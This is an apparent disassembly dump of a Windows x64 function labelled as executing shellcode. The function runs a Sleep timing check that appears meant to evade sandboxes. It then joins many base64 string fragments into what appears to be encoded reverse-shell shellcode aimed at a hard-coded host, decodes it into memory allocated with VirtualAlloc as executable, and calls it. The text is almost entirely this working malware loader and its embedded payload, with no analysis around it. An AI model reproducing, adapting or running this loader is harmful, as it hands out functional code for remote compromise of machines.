Function at 0x40186a
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x3c0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, 0x85
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
movabs rax, 0x558
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x85
jl 0x401946
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0xe9
jge 0x401946
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, [0x0040301a]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x401972
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.ivtk
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x402286
lea rax, str.OTA5MGZjNDg4M2U0ZjBlOGNjMDAwMDAwNDE1MTQxNTA1MjUxNDgzMWQyNTY2NTQ4OGI1MjYwNDg4YjUyMTg0ODhiNTIyMDRkMz
mov qword [rbp - 0x18], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.FjOTQ4MGZiNzRhNGE0ODhiNzI1MDQ4MzFjMGFjM2M2MTdjMDIyYzIwNDFjMWM5MGQ0MTAxYzFl
mov qword [rbp - 0x20], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.MmVkNTI0MTUxNDg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDIwZjg1NzIwMDAwMDA4
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.YjgwODgwMDAwMDA0ODg1YzA3NDY3NDgwMWQwOGI0ODE4NDQ4YjQwMjA0OTAxZDA1MGUzNTY0OGZmYzk0ZDMx
mov qword [rbp - 0x30], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.Yzk0MThiMzQ4ODQ4MDFkNjQ4MzFjMDQxYzFjOT
mov qword [rbp - 0x38], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.BkYWM0MTAxYzEzOGUwNzVmMTRjMDM0YzI0MDg0NTM5ZDE3NWQ4NTg0NDhiN
mov qword [rbp - 0x40], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.DAyNDQ5MDFkMDY2NDE4YjBjNDg0NDhiNDAxYzQ5MDFkMDQxOGIwNDg4NDgwMWQwNDE1ODQxNTg1ZTU5NWE0MTU
mov qword [rbp - 0x48], rax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.4NDE1OTQxNWE0ODg
mov qword [rbp - 0x50], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.zZWMyMDQxNTJmZmUwNTg0MTU5NWE0ODhiMTJlOTRiZmZmZmZmNWQ0OWJlNzc3MzMyNWYzMzMyMDAwMDQxNTY0OTg5
mov qword [rbp - 0x58], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
lea rax, str.ZTY0ODgxZWNhMDAxMDAwMDQ5ODllNTQ5YmMwMjAwMWEwYWMwYTg0MDg4ND
mov qword [rbp - 0x60], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.E1NDQ5ODllNDRjODlmMTQxYmE0Yzc3MjYwN2ZmZDU0Yzg5ZWE2ODAxMDEwMDAwNTk0MWJhMjk4MDZiMDBmZmQ1NmEwYTQ
mov qword [rbp - 0x68], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.xNWU1MDUwNGQzMWM5NGQzMWMwNDhmZmMwNDg4OWMyNDhmZmMwNDg4OWMxNDFiYWVhMGZkZmUwZmZkNTQ4ODljNzZ
mov qword [rbp - 0x70], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.hMTA0MTU4NGM4OWUyNDg4OWY
mov qword [rbp - 0x78], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.5NDFiYTk5YTU3NDYxZmZkNT
mov qword [rbp - 0x80], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.g1YzA3NDBhNDlmZmNlNzVlNWU4OTMwMDAwMDA0ODgzZWMxMDQ4ODl
mov qword [rbp - 0x88], rax
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.lMjRkMzFjOTZhMDQ0MTU4NDg4OWY5NDFiYTAyZDljODVmZmZkNTgzZjgwMDdlNTU0ODgzYzQyMDVlODlmNjZh
mov qword [rbp - 0x90], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.NDA0MTU5NjgwMDEwMDAwMDQxNTg0ODg5ZjI0ODMxYz
mov qword [rbp - 0x98], rax
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.k0MWJhNThhNDUzZTVmZmQ1NDg4OWMzNDk4OWM3NGQzMWM5ND
mov qword [rbp - 0xa0], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.k4OWYwNDg4OWRhNDg4OWY5NDFi
mov qword [rbp - 0xa8], rax
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.YTAyZDljODVmZmZkNTgzZjg
mov qword [rbp - 0xb0], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
lea rax, str.wMDdkMjg1ODQxNTc1OTY4MDA0MDAwMDA0MTU4NmEwMDVhNDFiYTBiMmYwZjMwZmZkNTU3NTk0MWJ
mov qword [rbp - 0xb8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.hNzU2ZTRkNjFmZmQ1NDlmZmNlZTkzY2ZmZmZmZjQ4MDFjMzQ4Mjlj
mov qword [rbp - 0xc0], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
lea rax, str.NjQ4ODVmNjc1YjQ0MWZmZTc1ODZhMDA1OTQ5Yzd
mov qword [rbp - 0xc8], rax
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
lea rax, str.jMmYwYjVhM
mov qword [rbp - 0xd0], rax
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
lea rax, str.jU2ZmZkNQ
mov qword [rbp - 0xd8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, 0
mov byte [rbp - 0x383], al
movabs rax, 0x2aa
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x382]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
add eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [0x00403008]
sub eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403004]
mov ecx, dword [0x00403004]
imul eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
sub eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov dword [0x00403004], eax
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [0x00403008]
imul eax, ecx
mov dword [0x00403008], eax
lea rax, [0x00403595]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0x390], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x390]
mov r11, rax
lea rax, [rbp - 0x383]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401800
mov eax, dword [0x00403008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x2ab
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0x398], rax
movabs rax, 0x2ab
mov r8, rax
lea rax, [rbp - 0x383]
mov r11, rax
mov rax, qword [rbp - 0x398]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x398]
mov qword [rbp - 0x3a0], rax
mov r11, qword [rbp - 0x3a0]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov ecx, dword [0x00403008]
add eax, ecx
mov ecx, dword [0x0040300c]
add eax, ecx
mov r11, rax
lea rax, [0x00403597]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret